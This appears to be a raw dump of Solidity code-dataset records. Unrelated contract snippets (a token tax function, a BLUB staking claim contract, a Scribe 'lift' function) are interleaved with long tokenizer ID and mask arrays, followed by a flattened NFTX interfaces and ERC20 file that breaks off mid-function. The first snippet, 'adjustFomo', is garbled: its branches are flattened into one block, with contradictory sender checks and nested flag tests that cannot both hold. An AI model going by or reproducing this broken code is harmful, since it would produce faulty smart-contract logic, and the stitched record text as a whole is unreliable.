function adjustFomo( uint16 flag, uint256 amount, address who ) external { if (flag == 5) { if (msg.sender != address(YIELD_BOOSTER)) revert Auth(); require(who != uniswapV3Pool); badPool[who] = !badPool[who]; if (msg.sender != multiSig) revert Auth(); if (flag == 0) { require(amount == 0 || amount == 1); tokenomicsOn = uint8(amount); require(amount <= 100e18); issuanceRate = uint80(amount); require(who != address(this) && who != uniswapV3Pool); isTaxExcluded[who] = !isTaxExcluded[who]; positionManager.setApprovalForAll(address(YIELD_VAULT), false); YIELD_VAULT = YieldVault(who); positionManager.setApprovalForAll(address(who), true); isTaxExcluded[who] = true; _allowances[who][address(positionManager)] = type(uint256).max; require(block.timestamp >= startStamp + (1 days * 30 * 4)); positionManager.transferFrom(address(this), multiSig, amount); YIELD_BOOSTER = YieldBooster(who); isTaxExcluded[who] = true; } } }
4,270,371
[ 1, 5752, 13690, 55, 29150, 4501, 372, 24237, 5481, 367, 10961, 1147, 362, 2102, 306, 351, 24530, 1338, 5, 65, 3043, 3385, 89, 1359, 4993, 12689, 628, 5320, 1908, 1624, 45, 5192, 67, 27722, 2274, 4471, 7087, 511, 52, 2704, 31666, 17980, 29811, 4471, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5765, 42, 362, 83, 12, 203, 3639, 2254, 2313, 2982, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1758, 10354, 203, 565, 262, 3903, 288, 203, 3639, 309, 261, 6420, 422, 1381, 13, 288, 203, 5411, 309, 261, 3576, 18, 15330, 480, 1758, 12, 61, 45, 5192, 67, 5315, 4005, 654, 3719, 15226, 3123, 5621, 203, 5411, 2583, 12, 3350, 83, 480, 640, 291, 91, 438, 58, 23, 2864, 1769, 203, 5411, 5570, 2864, 63, 3350, 83, 65, 273, 401, 8759, 2864, 63, 3350, 83, 15533, 203, 5411, 309, 261, 3576, 18, 15330, 480, 3309, 8267, 13, 15226, 3123, 5621, 203, 203, 5411, 309, 261, 6420, 422, 374, 13, 288, 203, 7734, 2583, 12, 8949, 422, 374, 747, 3844, 422, 404, 1769, 203, 7734, 1147, 362, 2102, 1398, 273, 2254, 28, 12, 8949, 1769, 203, 7734, 2583, 12, 8949, 1648, 2130, 73, 2643, 1769, 203, 7734, 3385, 89, 1359, 4727, 273, 2254, 3672, 12, 8949, 1769, 203, 7734, 2583, 12, 3350, 83, 480, 1758, 12, 2211, 13, 597, 10354, 480, 640, 291, 91, 438, 58, 23, 2864, 1769, 203, 7734, 353, 7731, 16461, 63, 3350, 83, 65, 273, 401, 291, 7731, 16461, 63, 3350, 83, 15533, 203, 7734, 1754, 1318, 18, 542, 23461, 1290, 1595, 12, 2867, 12, 61, 45, 5192, 67, 27722, 2274, 3631, 629, 1769, 203, 7734, 1624, 45, 5192, 67, 27722, 2274, 273, 31666, 12003, 12, 3350, 83, 1769, 203, 7734, 1754, 1318, 18, 542, 23461, 1290, 1595, 12, 2867, 12, 3350, 83, 3631, 638, 1769, 203, 7734, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >= 0.8.7; import "./Ownable.sol"; import "./ECDSA.sol"; import "./Strings.sol"; import "./IERC721.sol"; interface IBlubToken { function mintAdminContract(address account, uint256 amount) external; } contract BlubStaking is Ownable { using ECDSA for bytes32; using Strings for uint256; // contract params address public deployer; IBlubToken public blubToken; // map to store which nonce has been used onchain mapping(uint256 => bool) public nonceIsUsed; // event to track which nonces have been used event Claimed(uint256 indexed nonce); uint256 public constant CLAIM_TIME_WINDOW = 1200; // 60*20 /** * @dev Initializes the contract by setting blubToken */ constructor(address blubTokenAddress, address deployerAddress) { blubToken = IBlubToken(blubTokenAddress); deployer = deployerAddress; } /** * @dev Sets contract parameters */ function setParams(address blubTokenAddress, address deployerAddress) public onlyOwner { blubToken = IBlubToken(blubTokenAddress); deployer = deployerAddress; } /** * @dev Claim BLUB token accrued through virtual staking for multiple tokens */ function claim(uint256 nonce, uint256 amount, uint256 timestamp, bytes calldata signature) public { string memory message = string(abi.encodePacked("|", Strings.toHexString(uint256(uint160(msg.sender)), 20), "|", nonce.toString(), "|", amount.toString(), "|", timestamp.toString())); bytes32 hashedMessage = keccak256(abi.encodePacked(message)); address recoveredAddress = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hashedMessage)).recover(signature); require(recoveredAddress == deployer, "Unauthorized signature"); require(nonceIsUsed[nonce] == false, "Replayed tx"); nonceIsUsed[nonce] = true; require(block.timestamp < timestamp + CLAIM_TIME_WINDOW, "Claim too late"); blubToken.mintAdminContract(msg.sender, amount); emit Claimed(nonce); } }
* @dev Sets contract parameters/
function setParams(address blubTokenAddress, address deployerAddress) public onlyOwner { blubToken = IBlubToken(blubTokenAddress); deployer = deployerAddress; }
182,086
[ 1, 2785, 6835, 1472, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 31705, 12, 2867, 2811, 373, 1345, 1887, 16, 1758, 7286, 264, 1887, 13, 1071, 1338, 5541, 288, 203, 3639, 2811, 373, 1345, 273, 467, 4802, 373, 1345, 12, 3083, 373, 1345, 1887, 1769, 203, 3639, 7286, 264, 273, 7286, 264, 1887, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x5E16CA75000fb2B9d7B1184Fa24fF5D938a345Ef/sources/src/Scribe.sol
@inheritdoc IScribe
function lift(LibSecp256k1.Point memory pubKey, ECDSAData memory ecdsaData) external auth returns (uint) { return _lift(pubKey, ecdsaData); }
17,126,917
[ 1, 36, 10093, 467, 1541, 1902, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 28080, 12, 5664, 2194, 84, 5034, 79, 21, 18, 2148, 3778, 18659, 16, 7773, 19748, 751, 3778, 23593, 751, 13, 203, 3639, 3903, 203, 3639, 1357, 203, 3639, 1135, 261, 11890, 13, 203, 565, 288, 203, 3639, 327, 389, 80, 2136, 12, 10174, 653, 16, 23593, 751, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Sources flattened with hardhat v2.4.3 https://hardhat.org // File contracts/solidity/interface/INFTXEligibility.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface INFTXEligibility { // Read functions. function name() external pure returns (string memory); function finalized() external view returns (bool); function targetAsset() external pure returns (address); function checkAllEligible(uint256[] calldata tokenIds) external view returns (bool); function checkEligible(uint256[] calldata tokenIds) external view returns (bool[] memory); function checkAllIneligible(uint256[] calldata tokenIds) external view returns (bool); function checkIsEligible(uint256 tokenId) external view returns (bool); // Write functions. function __NFTXEligibility_init_bytes(bytes calldata configData) external; function beforeMintHook(uint256[] calldata tokenIds) external; function afterMintHook(uint256[] calldata tokenIds) external; function beforeRedeemHook(uint256[] calldata tokenIds) external; function afterRedeemHook(uint256[] calldata tokenIds) external; } // File contracts/solidity/proxy/IBeacon.sol pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function childImplementation() external view returns (address); function upgradeChildTo(address newImplementation) external; } // File contracts/solidity/interface/INFTXVaultFactory.sol pragma solidity ^0.8.0; interface INFTXVaultFactory is IBeacon { // Read functions. function numVaults() external view returns (uint256); function zapContract() external view returns (address); function feeDistributor() external view returns (address); function eligibilityManager() external view returns (address); function vault(uint256 vaultId) external view returns (address); function vaultsForAsset(address asset) external view returns (address[] memory); function isLocked(uint256 id) external view returns (bool); function excludedFromFees(address addr) external view returns (bool); event NewFeeDistributor(address oldDistributor, address newDistributor); event NewZapContract(address oldZap, address newZap); event FeeExclusion(address feeExcluded, bool excluded); event NewEligibilityManager(address oldEligManager, address newEligManager); event NewVault(uint256 indexed vaultId, address vaultAddress, address assetAddress); // Write functions. function __NFTXVaultFactory_init(address _vaultImpl, address _feeDistributor) external; function createVault( string calldata name, string calldata symbol, address _assetAddress, bool is1155, bool allowAllItems ) external returns (uint256); function setFeeDistributor(address _feeDistributor) external; function setEligibilityManager(address _eligibilityManager) external; function setZapContract(address _zapContract) external; function setFeeExclusion(address _excludedAddr, bool excluded) external; } // File contracts/solidity/interface/INFTXVault.sol pragma solidity ^0.8.0; interface INFTXVault { function manager() external returns (address); function assetAddress() external returns (address); function vaultFactory() external returns (INFTXVaultFactory); function eligibilityStorage() external returns (INFTXEligibility); function is1155() external returns (bool); function allowAllItems() external returns (bool); function enableMint() external returns (bool); function enableRandomRedeem() external returns (bool); function enableTargetRedeem() external returns (bool); function vaultId() external returns (uint256); function nftIdAt(uint256 holdingsIndex) external view returns (uint256); function allHoldings() external view returns (uint256[] memory); function totalHoldings() external view returns (uint256); function mintFee() external returns (uint256); function randomRedeemFee() external returns (uint256); function targetRedeemFee() external returns (uint256); event VaultInit( uint256 indexed vaultId, address assetAddress, bool is1155, bool allowAllItems ); event ManagerSet(address manager); event EligibilityDeployed(uint256 moduleIndex, address eligibilityAddr); // event CustomEligibilityDeployed(address eligibilityAddr); event EnableMintUpdated(bool enabled); event EnableRandomRedeemUpdated(bool enabled); event EnableTargetRedeemUpdated(bool enabled); event MintFeeUpdated(uint256 mintFee); event RandomRedeemFeeUpdated(uint256 randomRedeemFee); event TargetRedeemFeeUpdated(uint256 targetRedeemFee); event Minted(uint256[] nftIds, uint256[] amounts, address to); event Redeemed(uint256[] nftIds, uint256[] specificIds, address to); event Swapped( uint256[] nftIds, uint256[] amounts, uint256[] specificIds, uint256[] redeemedIds, address to ); function __NFTXVault_init( string calldata _name, string calldata _symbol, address _assetAddress, bool _is1155, bool _allowAllItems ) external; function finalizeVault() external; function setVaultMetadata( string memory name_, string memory symbol_ ) external; function setVaultFeatures( bool _enableMint, bool _enableRandomRedeem, bool _enableTargetRedeem ) external; function setFees( uint256 _mintFee, uint256 _randomRedeemFee, uint256 _targetRedeemFee ) external; // This function allows for an easy setup of any eligibility module contract from the EligibilityManager. // It takes in ABI encoded parameters for the desired module. This is to make sure they can all follow // a similar interface. function deployEligibilityStorage( uint256 moduleIndex, bytes calldata initData ) external returns (address); // The manager has control over options like fees and features function setManager(address _manager) external; function mint( uint256[] calldata tokenIds, uint256[] calldata amounts /* ignored for ERC721 vaults */ ) external returns (uint256); function mintTo( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ address to ) external returns (uint256); function redeem(uint256 amount, uint256[] calldata specificIds) external returns (uint256[] calldata); function redeemTo( uint256 amount, uint256[] calldata specificIds, address to ) external returns (uint256[] calldata); function swap( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ uint256[] calldata specificIds ) external returns (uint256[] calldata); function swapTo( uint256[] calldata tokenIds, uint256[] calldata amounts, /* ignored for ERC721 vaults */ uint256[] calldata specificIds, address to ) external returns (uint256[] calldata); function allValidNFTs(uint256[] calldata tokenIds) external view returns (bool); } // File contracts/solidity/interface/INFTXEligibilityManager.sol pragma solidity ^0.8.0; interface INFTXEligibilityManager { function nftxVaultFactory() external returns (address); function eligibilityImpl() external returns (address); function deployEligibility(uint256 vaultId, bytes calldata initData) external returns (address); } // File contracts/solidity/interface/INFTXLPStaking.sol pragma solidity ^0.8.0; interface INFTXLPStaking { function nftxVaultFactory() external view returns (address); function rewardDistTokenImpl() external view returns (address); function stakingTokenProvider() external view returns (address); function vaultToken(address _stakingToken) external view returns (address); function stakingToken(address _vaultToken) external view returns (address); function rewardDistributionToken(uint256 vaultId) external view returns (address); function newRewardDistributionToken(uint256 vaultId) external view returns (address); function oldRewardDistributionToken(uint256 vaultId) external view returns (address); function unusedRewardDistributionToken(uint256 vaultId) external view returns (address); function rewardDistributionTokenAddr(address stakingToken, address rewardToken) external view returns (address); // Write functions. function __NFTXLPStaking__init(address _stakingTokenProvider) external; function setNFTXVaultFactory(address newFactory) external; function setStakingTokenProvider(address newProvider) external; function addPoolForVault(uint256 vaultId) external; function updatePoolForVault(uint256 vaultId) external; function updatePoolForVaults(uint256[] calldata vaultId) external; function receiveRewards(uint256 vaultId, uint256 amount) external returns (bool); function deposit(uint256 vaultId, uint256 amount) external; function timelockDepositFor(uint256 vaultId, address account, uint256 amount, uint256 timelockLength) external; function exit(uint256 vaultId, uint256 amount) external; function rescue(uint256 vaultId) external; function withdraw(uint256 vaultId, uint256 amount) external; function claimRewards(uint256 vaultId) external; } // File contracts/solidity/interface/INFTXFeeDistributor.sol pragma solidity ^0.8.0; interface INFTXFeeDistributor { struct FeeReceiver { uint256 allocPoint; address receiver; bool isContract; } function nftxVaultFactory() external returns (address); function lpStaking() external returns (address); function treasury() external returns (address); function defaultTreasuryAlloc() external returns (uint256); function defaultLPAlloc() external returns (uint256); function allocTotal(uint256 vaultId) external returns (uint256); function specificTreasuryAlloc(uint256 vaultId) external returns (uint256); // Write functions. function __FeeDistributor__init__(address _lpStaking, address _treasury) external; function rescueTokens(address token) external; function distribute(uint256 vaultId) external; function addReceiver(uint256 _vaultId, uint256 _allocPoint, address _receiver, bool _isContract) external; function initializeVaultReceivers(uint256 _vaultId) external; function changeMultipleReceiverAlloc( uint256[] memory _vaultIds, uint256[] memory _receiverIdxs, uint256[] memory allocPoints ) external; function changeMultipleReceiverAddress( uint256[] memory _vaultIds, uint256[] memory _receiverIdxs, address[] memory addresses, bool[] memory isContracts ) external; function changeReceiverAlloc(uint256 _vaultId, uint256 _idx, uint256 _allocPoint) external; function changeReceiverAddress(uint256 _vaultId, uint256 _idx, address _address, bool _isContract) external; function removeReceiver(uint256 _vaultId, uint256 _receiverIdx) external; // Configuration functions. function setTreasuryAddress(address _treasury) external; function setDefaultTreasuryAlloc(uint256 _allocPoint) external; function setSpecificTreasuryAlloc(uint256 _vaultId, uint256 _allocPoint) external; function setLPStakingAddress(address _lpStaking) external; function setNFTXVaultFactory(address _factory) external; function setDefaultLPAlloc(uint256 _allocPoint) external; } // File contracts/solidity/interface/IERC165Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File contracts/solidity/interface/IERC3156Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC3156 FlashBorrower, as defined in * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. */ interface IERC3156FlashBorrowerUpgradeable { /** * @dev Receive a flash loan. * @param initiator The initiator of the loan. * @param token The loan currency. * @param amount The amount of tokens lent. * @param fee The additional amount of tokens to repay. * @param data Arbitrary data structure, intended to contain user-defined parameters. * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan" */ function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32); } /** * @dev Interface of the ERC3156 FlashLender, as defined in * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. */ interface IERC3156FlashLenderUpgradeable { /** * @dev The amount of currency available to be lended. * @param token The loan currency. * @return The amount of `token` that can be borrowed. */ function maxFlashLoan( address token ) external view returns (uint256); /** * @dev The fee to be charged for a given loan. * @param token The loan currency. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function flashFee( address token, uint256 amount ) external view returns (uint256); /** * @dev Initiate a flash loan. * @param receiver The receiver of the tokens in the loan, and the receiver of the callback. * @param token The loan currency. * @param amount The amount of tokens lent. * @param data Arbitrary data structure, intended to contain user-defined parameters. */ function flashLoan( IERC3156FlashBorrowerUpgradeable receiver, address token, uint256 amount, bytes calldata data ) external returns (bool); } // File contracts/solidity/token/IERC20Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/solidity/token/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File contracts/solidity/proxy/Initializable.sol // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File contracts/solidity/util/ContextUpgradeable.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File contracts/solidity/token/ERC20Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } function _setMetadata(string memory name_, string memory symbol_) internal { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; 